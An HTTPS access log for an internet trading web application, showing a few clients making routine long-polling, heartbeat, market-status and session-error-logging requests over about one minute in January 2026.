[09/Jan/2026:14:59:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942219356 HTTP/1.1" -
[09/Jan/2026:14:59:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942220464 HTTP/1.1" -
[09/Jan/2026:14:59:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942226446 HTTP/1.1" -
[09/Jan/2026:14:59:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942236430 HTTP/1.1" -
[09/Jan/2026:14:59:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942222694 HTTP/1.1" -
[09/Jan/2026:14:59:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942224474 HTTP/1.1" -
[09/Jan/2026:14:59:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942225542 HTTP/1.1" -
[09/Jan/2026:14:59:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942231813 HTTP/1.1" -
[09/Jan/2026:14:59:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942241463 HTTP/1.1" -
[09/Jan/2026:14:59:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942227739 HTTP/1.1" -
[09/Jan/2026:14:59:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942229624 HTTP/1.1" -
[09/Jan/2026:14:59:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942230700 HTTP/1.1" -
[09/Jan/2026:14:59:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942236860 HTTP/1.1" -
[09/Jan/2026:14:59:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942246498 HTTP/1.1" -
[09/Jan/2026:14:59:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942232773 HTTP/1.1" -
[09/Jan/2026:14:59:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942234804 HTTP/1.1" -
[09/Jan/2026:14:59:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942235729 HTTP/1.1" -
[09/Jan/2026:14:59:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942241931 HTTP/1.1" -
[09/Jan/2026:14:59:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942251531 HTTP/1.1" -
[09/Jan/2026:14:59:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942237825 HTTP/1.1" -
[09/Jan/2026:14:59:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942239890 HTTP/1.1" -
[09/Jan/2026:14:59:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942240830 HTTP/1.1" -
[09/Jan/2026:14:59:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942246958 HTTP/1.1" -
[09/Jan/2026:14:59:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942256592 HTTP/1.1" -
[09/Jan/2026:14:59:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942242851 HTTP/1.1" -
[09/Jan/2026:14:59:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942246028 HTTP/1.1" -
[09/Jan/2026:14:59:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942245086 HTTP/1.1" -
[09/Jan/2026:14:59:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942252072 HTTP/1.1" -
[09/Jan/2026:14:59:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942261660 HTTP/1.1" -
[09/Jan/2026:14:59:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942247894 HTTP/1.1" -
[09/Jan/2026:14:59:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942251073 HTTP/1.1" -
[09/Jan/2026:14:59:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942250231 HTTP/1.1" -
[09/Jan/2026:14:59:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942257140 HTTP/1.1" -
[09/Jan/2026:14:59:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942266692 HTTP/1.1" -
[09/Jan/2026:14:59:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942252918 HTTP/1.1" -
[09/Jan/2026:14:59:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942256176 HTTP/1.1" -
[09/Jan/2026:14:59:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942255363 HTTP/1.1" -
[09/Jan/2026:14:59:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942262257 HTTP/1.1" -
[09/Jan/2026:14:59:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942271756 HTTP/1.1" -
[09/Jan/2026:14:59:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942257961 HTTP/1.1" -
[09/Jan/2026:14:59:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942261271 HTTP/1.1" -
[09/Jan/2026:14:59:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942260513 HTTP/1.1" -
[09/Jan/2026:14:59:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942267288 HTTP/1.1" -
[09/Jan/2026:14:59:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942276783 HTTP/1.1" -
[09/Jan/2026:14:59:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942263000 HTTP/1.1" -
[09/Jan/2026:14:59:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942266336 HTTP/1.1" -
[09/Jan/2026:14:59:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942265612 HTTP/1.1" -
[09/Jan/2026:14:59:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942272364 HTTP/1.1" -
[09/Jan/2026:14:59:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942281818 HTTP/1.1" -
[09/Jan/2026:14:59:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942268052 HTTP/1.1" -
[09/Jan/2026:15:00:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942271406 HTTP/1.1" -
[09/Jan/2026:15:00:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942270664 HTTP/1.1" -
[09/Jan/2026:15:00:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942277398 HTTP/1.1" -
[09/Jan/2026:15:00:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942287190 HTTP/1.1" -
[09/Jan/2026:15:00:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:00:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942273081 HTTP/1.1" -
[09/Jan/2026:15:00:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:00:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
